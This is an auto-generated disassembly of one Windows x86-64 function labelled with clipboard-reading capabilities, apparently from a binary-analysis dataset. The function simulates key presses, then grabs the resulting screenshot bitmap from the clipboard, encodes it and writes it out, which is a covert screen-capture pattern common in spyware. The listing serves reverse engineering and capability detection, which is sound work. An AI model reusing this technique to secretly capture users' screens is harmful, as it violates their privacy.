Function at 0x140116ac0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x218
mov rax, qword [0x140300080]
xor rax, rsp
mov qword [rsp + 0x200], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 2
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x30], rax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov edx, Ordinal_27
lea rcx, [rsp + 0x70]
call fcn.140009d80
lea rcx, [rsp + 0x70]
call fcn.140010030
nop
mov qword [rsp + 0x68], 0
lea r8, [rsp + 0x68]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [rsp + 0x28], eax
mov edx, 0x50
lea rcx, [rsp + 0x90]
call fcn.140009d80
lea rcx, [rsp + 0x90]
call fcn.140115e80
nop
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x90]
call fcn.140115fd0
lea r8, [0x140173a58]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x90]
call fcn.1401161a0
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov eax, dword [rsp + 0x20]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140117240
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x70]
call fcn.1401171e0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x118
lea rcx, [rsp + 0xe0]
call fcn.140009d80
mov edx, 1
lea rcx, [rsp + 0xe0]
call fcn.140117100
nop
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0xe0]
call fcn.140117030
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x70]
call fcn.140117210
mov qword [rsp + 0x48], rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x70]
call fcn.1401171e0
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0xe0]
call fcn.140116fd0
nop
mov dword [rsp + 0x24], Ordinal_41
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.140006a80
mov rcx, rax
call fcn.140006aa0
nop
lea rcx, [rsp + 0xe0]
call fcn.140116d50
nop
lea rcx, [rsp + 0x90]
call fcn.140115f90
nop
lea rcx, [rsp + 0x70]
call fcn.140117270
nop
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14015a110
add rsp, 0x218
ret